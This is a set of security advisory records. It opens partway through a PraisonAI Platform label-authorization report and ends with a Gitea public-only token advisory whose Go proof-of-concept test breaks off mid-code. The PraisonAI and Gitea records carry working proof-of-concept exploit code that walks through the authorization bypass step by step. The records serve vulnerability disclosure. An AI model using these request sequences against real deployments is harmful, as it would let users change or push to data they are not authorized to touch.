{\n    \"member_direct_label_delete\": 403,\n    \"member_patch_label\": 200,\n    \"member_remove_label_from_owner_issue\": 204,\n    \"member_add_label_to_owner_issue\": 204,\n    \"non_member_patch_label\": 403,\n    \"non_member_add_label_to_issue\": 403\n  }\n}\n```\n\nVersion sweep excerpt:\n\n```text\ncurrent git:846568c7a5d8ce9e71e56e4c213f027c04909753: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.8: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.6: vulnerable=true delete=403 patch=200 remove=204 add=204\npypi:praisonai-platform==0.1.4: vulnerable=false delete=204 patch=200 remove=204 add=204\n```\n\nThe `0.1.4` result is not a clean negative. It means direct member label deletion still returned `204` in that sampled version, so the narrower post-delete-guard bypass is masked by broader older delete behavior.\n\n## Impact\n\nAn ordinary workspace member can alter shared triage labels and owner issue label assignments without admin/owner authority. In a shared PraisonAI Platform workspace, that lets a member silently change label meaning, remove labels from owner-created issues so they disappear from label-based filters or boards, and re-add arbitrary labels to owner-created issues. The impact is integrity loss over workflow and triage state rather than code execution or data exfiltration.\n\nSuggested severity: Medium. Suggested CVSS v3.1: `CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N` (6.5). Suggested CWEs: `CWE-862` Missing Authorization and `CWE-863` Incorrect Authorization. The score is conservative: it assumes the attacker already has ordinary workspace member privileges and does not claim confidentiality or availability impact.\n\n## Suggested Fix\n\nDefine explicit write authorization for labels and issue-label links instead of treating all workspace members as label administrators. A minimal fix is to require workspace admin/owner authority for `PATCH /labels/{label_id}`, `POST /issues/{issue_id}/labels/{label_id}`, and `DELETE /issues/{issue_id}/labels/{label_id}` when the target issue or shared label was not created by the caller.\n\nIf labels are intended to be collaboratively editable by all members, make that policy explicit and align delete/update/link behavior. Otherwise, mirror the direct label delete route\u0027s admin/owner boundary for label taxonomy updates and require issue owner/admin authority before mutating labels on an existing issue.\n\nAdd regression tests for these cases: a member cannot rename/recolor a shared label if label management is admin/owner-only; a member cannot remove or add labels on an owner-created issue; a workspace admin/owner can still manage labels; a non-member still receives `403`; and direct label deletion remains protected.\n\n## Affected Package/Versions\n\nAffected package: `pypi:praisonai-platform`.\n\nLatest PyPI version observed during testing: `0.1.8`. Current head `846568c7a5d8ce9e71e56e4c213f027c04909753` is affected.\n\nThe post-delete-guard label write authorization gap is confirmed in sampled versions `0.1.6`, `0.1.8`, and current head. In sampled `0.1.4`, direct member label deletion already returned `204`, so the narrower post-delete-guard bypass is masked by broader older same-workspace delete behavior.\n\nSuggested affected range for the post-delete-guard bypass: `pypi:praisonai-platform \u003e=0.1.6, \u003c=0.1.8`. No fixed version or fix commit was observed.\n\n## Advisory History\n\nVisible PraisonAI Platform advisories include older label endpoint and same-workspace DELETE authorization reports. The closest overlap is the prior DELETE advisory; this report should be read as a remaining sibling/incomplete-fix style authorization gap where direct label deletion is now denied but label PATCH and issue-label link writes still succeed.\n\n`GHSA-5jx9-w35f-vp65` / `CVE-2026-47414`, \"praisonai-platform: Label endpoints\u0027 unchecked label_id/issue_id enable cross-workspace label IDOR (edit, delete, link)\", covers cross-workspace label operations in `\u003c=0.1.2` and lists `0.1.4` as patched. This report is distinct because the PoV uses a single workspace, current head verifies the issue and label belong to that workspace, non-members receive `403`, and the unauthorized actor is a legitimate same-workspace member crossing the owner/admin write boundary.\n\n`GHSA-rh39-9c67-59mh`, \"Missing ownership check on DELETE endpoints allows members to delete others\u0027 content in Platform API\", covers same-workspace member DELETE access to projects, agents, issues, labels, issue dependencies, and issue-label attachments. This report overlaps that advisory on the issue-label attachment removal symptom, but the current PoV also shows the direct label DELETE path now returns `403` in current head, `0.1.6`, and `0.1.8` while the sibling label PATCH and issue-label add/remove routes still return `200`/`204`. If maintainers track the remaining issue-label DELETE behavior under `GHSA-rh39-9c67-59mh`, the new material here is the surviving shared-label PATCH authorization gap plus the post-delete-guard add/remove behavior demonstrated against current head and latest PyPI.\n\n`GHSA-2fjj-qqg8-fg7x`, \"Authorization Bypass Through User-Controlled Key in praisonai-platform\", covers issue create/update accepting a body-supplied foreign `project_id` and polluting another workspace\u0027s project statistics. This report is distinct because it does not use cross-workspace body references or project statistics; it uses a legitimate member inside the same workspace to mutate shared label taxonomy and owner issue-label state.\n\n`GHSA-gv23-xrm3-8c62` covers older systemic cross-workspace object lookup and privilege escalation behavior. This report does not require foreign workspace ids or member-role escalation.\n\n`GHSA-xwq8-frcg-77q8` covers older issue endpoint cross-workspace IDOR. This report targets label taxonomy and issue-label association write authorization.\n\n## References\n\n- `https://github.com/advisories/GHSA-5jx9-w35f-vp65`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-rh39-9c67-59mh`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-2fjj-qqg8-fg7x`\n- `https://github.com/advisories/GHSA-gv23-xrm3-8c62`\n- `https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xwq8-frcg-77q8`\n- `https://cwe.mitre.org/data/definitions/862.html`\n- `https://cwe.mitre.org/data/definitions/863.html`\n\n## Appendix A - Full PoV Script\n\nSave this as `pov_platform_label_authorization_bypass.py` before running the PoC commands above.\n\n```python\n#!/usr/bin/env python3\n\"\"\"PoV for PraisonAI Platform label authorization gaps.\"\"\"\n\nfrom __future__ import annotations\n\nimport argparse\nimport asyncio\nimport json\nimport os\nimport subprocess\nimport sys\nfrom pathlib import Path\nfrom typing import Any\n\n\ndef _load_local_source(repo: Path | None) -\u003e None:\n    if repo is None:\n        return\n    platform_root = repo / \"src\" / \"praisonai-platform\"\n    agents_root = repo / \"src\" / \"praisonai-agents\"\n    for path in (str(platform_root), str(agents_root)):\n        if path not in sys.path:\n            sys.path.insert(0, path)\n\n\nasync def _register(client: Any, email: str, name: str) -\u003e tuple[str, str]:\n    response = await client.post(\n        \"/api/v1/auth/register\",\n        json={\"email\": email, \"password\": \"Password1!\", \"name\": name},\n    )\n    if response.status_code \u003e= 400:\n        raise RuntimeError(f\"register failed for {email}: {response.status_code} {response.text}\")\n    body = response.json()\n    return body[\"token\"], body[\"user\"][\"id\"]\n\n\nasync def _create_issue(\n    client: Any,\n    workspace_id: str,\n    headers: dict[str, str],\n    title: str,\n) -\u003e str:\n    response = await client.post(\n        f\"/api/v1/workspaces/{workspace_id}/issues/\",\n        json={\"title\": title, \"priority\": \"high\"},\n        headers=headers,\n    )\n    response.raise_for_status()\n    return response.json()[\"id\"]\n\n\nasync def _issue_label_names(\n    client: Any,\n    workspace_id: str,\n    issue_id: str,\n    headers: dict[str, str],\n) -\u003e list[str]:\n    response = await client.get(\n        f\"/api/v1/workspaces/{workspace_id}/issues/{issue_id}/labels\",\n        headers=headers,\n    )\n    response.raise_for_status()\n    return [label[\"name\"] for label in response.json()]\n\n\nasync def _run(repo: Path | None) -\u003e dict[str, Any]:\n    os.environ[\"PLATFORM_JWT_SECRET\"] = \"local-poc-secret-32-bytes-minimum\"\n    _load_local_source(repo)\n\n    from httpx import ASGITransport, AsyncClient\n    from sqlalchemy.ext.asyncio import create_async_engine\n\n    from praisonai_platform.api.app import create_app\n    from praisonai_platform.db import base as base_mod\n    from praisonai_platform.db.base import Base, reset_engine\n\n    await reset_engine()\n    engine = create_async_engine(\n        \"sqlite+aiosqlite:///:memory:\",\n        echo=False,\n        connect_args={\"check_same_thread\": False},\n    )\n    base_mod._engine = engine\n    base_mod._session_factory = None\n    async with engine.begin() as conn:\n        await conn.run_sync(Base.metadata.create_all)\n\n    app = create_app()\n    transport = ASGITransport(app=app)\n    async with AsyncClient(transport=transport, base_url=\"http://local-poc\") as client:\n        owner_token, _owner_id = await _register(client, \"owner@example.com\", \"Owner\")\n        member_token, member_id = await _register(client, \"member@example.com\", \"Member\")\n        outsider_token, _outsider_id = await _register(\n            client, \"outsider@example.com\", \"Outsider\"\n        )\n\n        owner_headers = {\"Authorization\": f\"Bearer {owner_token}\"}\n        member_headers = {\"Authorization\": f\"Bearer {member_token}\"}\n        outsider_headers = {\"Authorization\": f\"Bearer {outsider_token}\"}\n\n        ws_resp = await client.post(\n            \"/api/v1/workspaces/\",\n            json={\"name\": \"Shared Workspace\", \"slug\": \"shared-workspace\"},\n            headers=owner_headers,\n        )\n        ws_resp.raise_for_status()\n        workspace_id = ws_resp.json()[\"id\"]\n\n        add_member = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/members\",\n            json={\"user_id\": member_id, \"role\": \"member\"},\n            headers=owner_headers,\n        )\n        add_member.raise_for_status()\n\n        owner_issue_id = await _create_issue(\n            client, workspace_id, owner_headers, \"Owner issue\"\n        )\n\n        label_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/labels\",\n            json={\"name\": \"Owner triage\", \"color\": \"#ff0000\"},\n            headers=owner_headers,\n        )\n        label_resp.raise_for_status()\n        label_id = label_resp.json()[\"id\"]\n\n        owner_delete_control_label_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/labels\",\n            json={\"name\": \"Owner delete control\", \"color\": \"#00ff00\"},\n            headers=owner_headers,\n        )\n        owner_delete_control_label_resp.raise_for_status()\n        owner_delete_control_label_id = owner_delete_control_label_resp.json()[\"id\"]\n\n        member_delete_control_label_resp = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/labels\",\n            json={\"name\": \"Member delete control\", \"color\": \"#0000ff\"},\n            headers=owner_headers,\n        )\n        member_delete_control_label_resp.raise_for_status()\n        member_delete_control_label_id = member_delete_control_label_resp.json()[\"id\"]\n\n        owner_attach = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n            headers=owner_headers,\n        )\n        owner_attach.raise_for_status()\n        initial_issue_labels = await _issue_label_names(\n            client, workspace_id, owner_issue_id, owner_headers\n        )\n\n        member_delete_label = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/labels/{member_delete_control_label_id}\",\n            headers=member_headers,\n        )\n\n        member_patch_label = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n            json={\"name\": \"Member-controlled triage\", \"color\": \"#000000\"},\n            headers=member_headers,\n        )\n        owner_label_list_after_patch = await client.get(\n            f\"/api/v1/workspaces/{workspace_id}/labels\",\n            headers=owner_headers,\n        )\n\n        member_remove_from_owner_issue = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n            headers=member_headers,\n        )\n        labels_after_member_remove = await _issue_label_names(\n            client, workspace_id, owner_issue_id, owner_headers\n        )\n\n        member_add_back_to_owner_issue = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n            headers=member_headers,\n        )\n        labels_after_member_add = await _issue_label_names(\n            client, workspace_id, owner_issue_id, owner_headers\n        )\n\n        outsider_patch_label = await client.patch(\n            f\"/api/v1/workspaces/{workspace_id}/labels/{label_id}\",\n            json={\"name\": \"Outsider attempt\"},\n            headers=outsider_headers,\n        )\n        outsider_add_to_issue = await client.post(\n            f\"/api/v1/workspaces/{workspace_id}/issues/{owner_issue_id}/labels/{label_id}\",\n            headers=outsider_headers,\n        )\n\n        owner_delete_label = await client.delete(\n            f\"/api/v1/workspaces/{workspace_id}/labels/{owner_delete_control_label_id}\",\n            headers=owner_headers,\n        )\n\n    await engine.dispose()\n    base_mod._engine = None\n    base_mod._session_factory = None\n\n    owner_labels = (\n        owner_label_list_after_patch.json()\n        if owner_label_list_after_patch.status_code == 200\n        else []\n    )\n    owner_observed_label = owner_labels[0] if owner_labels else {}\n    checks = {\n        \"initial_owner_issue_labels\": initial_issue_labels,\n        \"member_direct_label_delete\": member_delete_label.status_code,\n        \"member_patch_label\": member_patch_label.status_code,\n        \"owner_observed_label_name_after_member_patch\": owner_observed_label.get(\"name\"),\n        \"owner_observed_label_color_after_member_patch\": owner_observed_label.get(\"color\"),\n        \"member_remove_label_from_owner_issue\": member_remove_from_owner_issue.status_code,\n        \"owner_issue_labels_after_member_remove\": labels_after_member_remove,\n        \"member_add_label_to_owner_issue\": member_add_back_to_owner_issue.status_code,\n        \"owner_issue_labels_after_member_add\": labels_after_member_add,\n        \"non_member_patch_label\": outsider_patch_label.status_code,\n        \"non_member_add_label_to_issue\": outsider_add_to_issue.status_code,\n        \"owner_delete_label\": owner_delete_label.status_code,\n    }\n    vulnerable = (\n        checks[\"initial_owner_issue_labels\"] == [\"Owner triage\"]\n        and checks[\"member_direct_label_delete\"] == 403\n        and checks[\"member_patch_label\"] == 200\n        and checks[\"owner_observed_label_name_after_member_patch\"]\n        == \"Member-controlled triage\"\n        and checks[\"owner_observed_label_color_after_member_patch\"] == \"#000000\"\n        and checks[\"member_remove_label_from_owner_issue\"] == 204\n        and checks[\"owner_issue_labels_after_member_remove\"] == []\n        and checks[\"member_add_label_to_owner_issue\"] == 204\n        and checks[\"owner_issue_labels_after_member_add\"] == [\"Member-controlled triage\"]\n        and checks[\"non_member_patch_label\"] == 403\n        and checks[\"non_member_add_label_to_issue\"] == 403\n        and checks[\"owner_delete_label\"] == 204\n    )\n    return {\n        \"package\": \"praisonai-platform\",\n        \"source\": _source_id(repo),\n        \"workspace_role\": \"member\",\n        \"summary\": (\n            \"A workspace member can rewrite shared label taxonomy and add/remove labels \"\n            \"on an owner-created issue even though direct label deletion is owner/admin-only.\"\n        ),\n        \"issue_id\": owner_issue_id,\n        \"label_id\": label_id,\n        \"checks\": checks,\n        \"vulnerable\": vulnerable,\n    }\n\n\ndef _source_id(repo: Path | None) -\u003e str:\n    if repo is None:\n        import importlib.metadata\n\n        return f\"pypi:praisonai-platform=={importlib.metadata.version(\u0027praisonai-platform\u0027)}\"\n    rev = subprocess.check_output(\n        [\"git\", \"-C\", str(repo), \"rev-parse\", \"HEAD\"],\n        text=True,\n    ).strip()\n    return f\"git:{rev}\"\n\n\ndef main() -\u003e int:\n    parser = argparse.ArgumentParser()\n    parser.add_argument(\"--repo\", type=Path)\n    parser.add_argument(\"--json\", action=\"store_true\")\n    args = parser.parse_args()\n\n    result = asyncio.run(_run(args.repo.resolve() if args.repo else None))\n    if args.json:\n        print(json.dumps(result, indent=2, sort_keys=True))\n    else:\n        for key, value in result[\"checks\"].items():\n            print(f\"{key}: {value}\")\n        print(f\"vulnerable: {result[\u0027vulnerable\u0027]}\")\n    return 0 if result[\"vulnerable\"] else 1\n\n\nif __name__ == \"__main__\":\n    raise SystemExit(main())\n```",
  "id": "GHSA-xxgv-vgvj-qvxh",
  "modified": "2026-10-08T21:58:28Z",
  "published": "2026-10-08T21:58:27Z",
  "references": [
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/security/advisories/GHSA-xxgv-vgvj-qvxh"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-61440"
    },
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2026-62180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/MervinPraison/PraisonAI/commit/846568c7a5d8ce9e71e56e4c213f027c04909753"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/MervinPraison/PraisonAI"
    },
    {
      "type": "WEB",
      "url": "https://www.vulncheck.com/advisories/praisonai-platform-before-authorization-bypass-via-label-endpoints"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:L/UI:N/S:U/C:N/I:H/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "PraisonAI: Platform members can rewrite shared labels and owner issue labels without owner/admin authorization"
}

GHSA-XXHF-XQ6V-C8MJ

Vulnerability from github – Published: 2022-06-24 00:00 – Updated: 2022-12-05 22:35
VLAI
Summary
Improper authorization in Jenkins Embeddable Build Status Plugin bypasses ViewStatus permission requirement
Details

Embeddable Build Status Plugin 2.0.3 and earlier does not correctly perform the ViewStatus permission check in the HTTP endpoint it provides for \"unprotected\" status badge access.

This allows attackers without any permissions to obtain the build status badge icon for any attacker-specified job and/or build.

Embeddable Build Status Plugin 2.0.4 requires ViewStatus permission to obtain the build status badge icon.

Show details on source website

{
  "affected": [
    {
      "package": {
        "ecosystem": "Maven",
        "name": "org.jenkins-ci.plugins:embeddable-build-status"
      },
      "ranges": [
        {
          "events": [
            {
              "introduced": "0"
            },
            {
              "fixed": "2.0.4"
            }
          ],
          "type": "ECOSYSTEM"
        }
      ]
    }
  ],
  "aliases": [
    "CVE-2022-34180"
  ],
  "database_specific": {
    "cwe_ids": [
      "CWE-862",
      "CWE-863"
    ],
    "github_reviewed": true,
    "github_reviewed_at": "2022-07-05T22:59:57Z",
    "nvd_published_at": "2022-06-23T17:15:00Z",
    "severity": "MODERATE"
  },
  "details": "Embeddable Build Status Plugin 2.0.3 and earlier does not correctly perform the ViewStatus permission check in the HTTP endpoint it provides for \\\"unprotected\\\" status badge access.\n\nThis allows attackers without any permissions to obtain the build status badge icon for any attacker-specified job and/or build.\n\nEmbeddable Build Status Plugin 2.0.4 requires ViewStatus permission to obtain the build status badge icon.",
  "id": "GHSA-xxhf-xq6v-c8mj",
  "modified": "2022-12-05T22:35:57Z",
  "published": "2022-06-24T00:00:31Z",
  "references": [
    {
      "type": "ADVISORY",
      "url": "https://nvd.nist.gov/vuln/detail/CVE-2022-34180"
    },
    {
      "type": "WEB",
      "url": "https://github.com/jenkinsci/embeddable-build-status-plugin/commit/402148784b3f4b029eaf47cc26ebf6b9bc636183"
    },
    {
      "type": "PACKAGE",
      "url": "https://github.com/jenkinsci/embeddable-build-status-plugin"
    },
    {
      "type": "WEB",
      "url": "https://www.jenkins.io/security/advisory/2022-06-22/#SECURITY-2794"
    }
  ],
  "schema_version": "1.4.0",
  "severity": [
    {
      "score": "CVSS:3.1/AV:N/AC:L/PR:N/UI:N/S:U/C:L/I:N/A:N",
      "type": "CVSS_V3"
    }
  ],
  "summary": "Improper authorization in Jenkins Embeddable Build Status Plugin bypasses ViewStatus permission requirement"
}

GHSA-XXJV-752H-3VP2

Vulnerability from github – Published: 2026-07-21 20:38 – Updated: 2026-07-21 20:38
VLAI
Summary
Gitea: Public-only repository tokens can update private PR head branches
Details

Summary

Gitea allows a public-only,write:repository token to update a private pull request head branch through a public base repository route.

The vulnerable endpoint is:

POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update

Gitea checks the token's public-only restriction against the route repository, which is the public base repository. UpdatePullRequest() then authorizes the pull request head repository with ordinary user RBAC and calls the pull update service. If the head repository is private, the active token's public-only restriction is not re-applied to that private repository before Gitea pushes changes into it.

As a result, the same token that cannot directly write to the private repository can still cause Gitea to push public base commits into the private head branch.

Details

The pull request API routes are attached under a repository route group. The public-only check applies to ctx.Repo.Repository, the route/base repository.

// routers/api/v1/api.go:1358-1394
                    m.Group("/pulls", func() {
                        m.Combo("").Get(repo.ListPullRequests).
                            Post(reqToken(), mustNotBeArchived, bind(api.CreatePullRequestOption{}), repo.CreatePullRequest)
                        m.Get("/pinned", repo.ListPinnedPullRequests)
                        m.Post("/comments/{id}/resolve", reqToken(), mustNotBeArchived, repo.ResolvePullReviewComment)
                        m.Post("/comments/{id}/unresolve", reqToken(), mustNotBeArchived, repo.UnresolvePullReviewComment)
                        m.Group("/{index}", func() {
                            m.Combo("").Get(repo.GetPullRequest).
                                Patch(reqToken(), bind(api.EditPullRequestOption{}), repo.EditPullRequest)
                            m.Get(".{diffType:diff|patch}", repo.DownloadPullDiffOrPatch)
                            m.Post("/update", reqToken(), repo.UpdatePullRequest)
                            m.Get("/commits", repo.GetPullRequestCommits)
                            m.Get("/files", repo.GetPullRequestFiles)
                            m.Combo("/merge").Get(repo.IsPullRequestMerged).
                                Post(reqToken(), mustNotBeArchived, bind(forms.MergePullRequestForm{}), repo.MergePullRequest).
                                Delete(reqToken(), mustNotBeArchived, repo.CancelScheduledAutoMerge)
                            m.Group("/reviews", func() {
                                m.Combo("").
                                    Get(repo.ListPullReviews).
                                    Post(reqToken(), bind(api.CreatePullReviewOptions{}), repo.CreatePullReview)
                                m.Group("/{id}", func() {
                                    m.Combo("").
                                        Get(repo.GetPullReview).
                                        Delete(reqToken(), repo.DeletePullReview).
                                        Post(reqToken(), bind(api.SubmitPullReviewOptions{}), repo.SubmitPullReview)
                                    m.Combo("/comments").
                                        Get(repo.GetPullReviewComments)
                                    m.Post("/dismissals", reqToken(), bind(api.DismissPullReviewOptions{}), repo.DismissPullReview)
                                    m.Post("/undismissals", repo.UnDismissPullReview)
                                })
                            })
                            m.Combo("/requested_reviewers", reqToken()).
                                Delete(bind(api.PullReviewRequestOptions{}), repo.DeleteReviewRequests).
                                Post(bind(api.PullReviewRequestOptions{}), repo.CreateReviewRequests)
                        })
                        m.Get("/{base}/*", repo.GetPullRequestByBaseHead)
                    }, mustAllowPulls, reqRepoReader(unit.TypeCode), context.ReferencesGitRepo())
// routers/api/v1/api.go:1465-1466
                }, repoAssignment(), checkTokenPublicOnly())
            }, tokenRequiresScopes(auth_model.AccessTokenScopeCategoryRepository))

For POST /api/v1/repos/{public-owner}/{public-repo}/pulls/{index}/update, the route repository can be public, so a public-only,write:repository token passes the route-level public-only check.

The update handler then checks whether the caller can update the PR head branch:

// routers/api/v1/repo/pull.go:1220-1270
    pr, err := issues_model.GetPullRequestByIndex(ctx, ctx.Repo.Repository.ID, ctx.PathParamInt64("index"))
    if err != nil {
        if issues_model.IsErrPullRequestNotExist(err) {
            ctx.APIErrorNotFound()
        } else {
            ctx.APIErrorInternal(err)
        }
        return
    }

    if pr.HasMerged {
        ctx.APIError(http.StatusUnprocessableEntity, err)
        return
    }

    if err = pr.LoadIssue(ctx); err != nil {
        ctx.APIErrorInternal(err)
        return
    }

    if pr.Issue.IsClosed {
        ctx.APIError(http.StatusUnprocessableEntity, err)
        return
    }

    if err = pr.LoadBaseRepo(ctx); err != nil {
        ctx.APIErrorInternal(err)
        return
    }
    if err = pr.LoadHeadRepo(ctx); err != nil {
        ctx.APIErrorInternal(err)
        return
    }

    rebase := ctx.FormString("style") == "rebase"

allowedUpdateByMerge, allowedUpdateByRebase, err := pull_service.IsUserAllowedToUpdate(ctx, pr, ctx.Doer)
    if err != nil {
        ctx.APIErrorInternal(err)
        return
    }

    if (!allowedUpdateByMerge && !rebase) || (rebase && !allowedUpdateByRebase) {
        ctx.Status(http.StatusForbidden)
        return
    }

    // default merge commit message
    message := fmt.Sprintf("Merge branch '%s' into %s", pr.BaseBranch, pr.HeadBranch)

The service checks the head repository using the user's normal repository permission:

// services/pull/update.go:136-164
// IsUserAllowedToUpdate check if user is allowed to update PR with given permissions and branch protections
// update PR means send new commits to PR head branch from base branch
func IsUserAllowedToUpdate(ctx context.Context, pull *issues_model.PullRequest, user *user_model.User) (pushAllowed, rebaseAllowed bool, err error) {
    if user == nil {
        return false, false, nil
    }
    if err := pull.LoadBaseRepo(ctx); err != nil {
        return false, false, err
    }
    if err := pull.LoadHeadRepo(ctx); err != nil {
        return false, false, err
    }

    // 1. check whether pull request enabled.
    prBaseUnit, err := pull.BaseRepo.GetUnit(ctx, unit.TypePullRequests)
    if repo_model.IsErrUnitTypeNotExist(err) {
        return false, false, nil // the PR unit is disabled in base repo means no update allowed
    } else if err != nil {
        return false, false, fmt.Errorf("get base repo unit: %v", err)
    }

    // 2. only support Github style pull request
    if pull.Flow == issues_model.PullRequestFlowAGit {
        return false, false, nil
    }

    // 3. check user push permission on head repository
pushAllowed, rebaseAllowed, err = isUserAllowedToPushOrForcePushInRepoBranch(ctx, user, pull.HeadRepo, pull.HeadBranch)
    if err != nil {
        return false, false, err
    }

That is an ordinary account RBAC decision. It does not ask whether the active API token is allowed to access or mutate pull.HeadRepo.

If allowed, the update service performs a merge/rebase update and pushes into the head repository:

// services/pull/update.go:89-100
    reversePR := &issues_model.PullRequest{
        BaseRepoID: pr.HeadRepoID,
        BaseRepo:   pr.HeadRepo,
        BaseBranch: pr.HeadBranch,

        HeadRepoID: pr.BaseRepoID,
        HeadRepo:   pr.BaseRepo,
        HeadBranch: pr.BaseBranch,
    }

_, err = doMergeAndPush(ctx, reversePR, doer, repo_model.MergeStyleMerge, "", message, repository.PushTriggerPRUpdateWithBase)
    return err

The result is a server-side private repository write performed through a public route.

PoC

import (
    "encoding/base64"
    "fmt"
    "net/http"
    "net/url"
    "testing"
    "time"

    actions_model "code.gitea.io/gitea/models/actions"
    auth_model "code.gitea.io/gitea/models/auth"
    repo_model "code.gitea.io/gitea/models/repo"
    unit_model "code.gitea.io/gitea/models/unit"
    "code.gitea.io/gitea/models/unittest"
    user_model "code.gitea.io/gitea/models/user"
    "code.gitea.io/gitea/modules/gitrepo"
    api "code.gitea.io/gitea/modules/structs"
    webhook_module "code.gitea.io/gitea/modules/webhook"
    repo_service "code.gitea.io/gitea/services/repository"

    "github.com/stretchr/testify/assert"
    "github.com/stretchr/testify/require"
)

func TestPOCPublicOnlyRepositoryTokenUpdatesPrivatePRHeadBranch(t *testing.T) {
    onGiteaRun(t, func(t *testing.T, _ *url.URL) {
        doer := unittest.AssertExistsAndLoadBean(t, &user_model.User{Name: "user1"})

        baseRepo, err := repo_service.CreateRepository(t.Context(), doer, doer, repo_service.CreateRepoOptions{
            Name:          "public-pr-update-base",
            Description:   "public base repository for public-only PR update PoC",
            AutoInit:      true,
            Readme:        "Default",
            DefaultBranch: "main",
            IsPrivate:     false,
        })
        require.NoError(t, err)

        headRepo, err := repo_service.ForkRepository(t.Context(), doer, doer, repo_service.ForkRepoOptions{
            BaseRepo:     baseRepo,
            Name:         "private-pr-update-head",
            Description:  "private head repository for public-only PR update PoC",
            SingleBranch: baseRepo.DefaultBranch,
        })
        require.NoError(t, err)
        require.NotNil(t, headRepo)
        require.NoError(t, repo_service.UpdateRepositoryUnits(t.Context(), headRepo, []repo_model.RepoUnit{{
            RepoID: headRepo.ID,
            Type:   unit_model.TypeActions,
        }}, nil))
        headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})

        headBranch := "private-head-update"
        testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
            OldBranch: baseRepo.DefaultBranch,
            NewBranch: headBranch,
        }, map[string]string{
            "private-head-marker.txt": "private head branch marker",
        })
        const workflowID = "private-push.yml"
        const workflowSentinel = "FAULTLINE_POC_062_PRIVATE_ACTION"
        testCreateFileInBranch(t, doer, headRepo, createFileInBranchOptions{
            OldBranch: headBranch,
            NewBranch: headBranch,
        }, map[string]string{
            ".gitea/workflows/" + workflowID: fmt.Sprintf(`name: private-push
on:
  push:
    branches:
      - %s
jobs:
  private-head-job:
    runs-on: ubuntu-latest
    steps:
      - run: echo %s
`, headBranch, workflowSentinel),
        })

        require.NoError(t, repo_model.UpdateRepositoryColsNoAutoTime(t.Context(), &repo_model.Repository{
            ID:        headRepo.ID,
            IsPrivate: true,
        }, "is_private"))
        headRepo = unittest.AssertExistsAndLoadBean(t, &repo_model.Repository{ID: headRepo.ID})
        require.True(t, headRepo.IsPrivate)
        baselinePrivateHeadRuns := unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID})

        session := loginUser(t, doer.Name)
        publicOnlyToken := getTokenForLoggedInUser(t, session,
            auth_model.AccessTokenScopePublicOnly,
            auth_model.AccessTokenScopeWriteRepository,
        )

        publicPath := "public-base-injected-into-private.txt"
        publicMarker := "FAULT-GITEA-062 public base content reached private head"
        createPublicBaseFile := api.CreateFileOptions{
            FileOptions: api.FileOptions{
                BranchName: baseRepo.DefaultBranch,
                Message:    "create public marker for private head update",
            },
            ContentBase64: base64.StdEncoding.EncodeToString([]byte(publicMarker)),
        }
        req := NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", baseRepo.FullName(), publicPath), &createPublicBaseFile).
            AddTokenAuth(publicOnlyToken)
        MakeRequest(t, req, http.StatusCreated)

        privatePath := "direct-private-write-should-fail.txt"
        directPrivateWrite := api.CreateFileOptions{
            FileOptions: api.FileOptions{
                BranchName: headBranch,
                Message:    "direct private write attempt",
            },
            ContentBase64: base64.StdEncoding.EncodeToString([]byte("direct private write marker")),
        }
        req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/contents/%s", headRepo.FullName(), privatePath), &directPrivateWrite).
            AddTokenAuth(publicOnlyToken)
        MakeRequest(t, req, http.StatusNotFound)

        prPayload := map[string]string{
            "title": "faultline public-only private head update",
            "base":  baseRepo.DefaultBranch,
            "head":  fmt.Sprintf("%s/%s:%s", doer.Name, headRepo.Name, headBranch),
        }
        req = NewRequestWithJSON(t, "POST", fmt.Sprintf("/api/v1/repos/%s/pulls", baseRepo.FullName()), prPayload).
            AddTokenAuth(publicOnlyToken)
        resp := MakeRequest(t, req, http.StatusCreated)

        var pr api.PullRequest
        DecodeJSON(t, resp, &pr)
        require.Equal(t, prPayload["title"], pr.Title)

        gitRepo, err := gitrepo.OpenRepository(t.Context(), headRepo)
        require.NoError(t, err)
        defer gitRepo.Close()

        commit, err := gitRepo.GetBranchCommit(headBranch)
        require.NoError(t, err)
        _, err = commit.GetBlobByPath(publicPath)
        require.Error(t, err)

        req = NewRequestf(t, "POST", "/api/v1/repos/%s/pulls/%d/update?style=merge", baseRepo.FullName(), pr.Index).
            AddTokenAuth(publicOnlyToken)
        MakeRequest(t, req, http.StatusOK)
        assert.Eventually(t, func() bool {
            return unittest.GetCount(t, &actions_model.ActionRun{RepoID: headRepo.ID}) > baselinePrivateHeadRuns
        }, 5*time.Second, 50*time.Millisecond)

        actionRun := unittest.AssertExistsAndLoadBean(t, &actions_model.ActionRun{
            RepoID:     headRepo.ID,
            WorkflowID: workflowID,
        }, unittest.OrderBy("id DESC"))
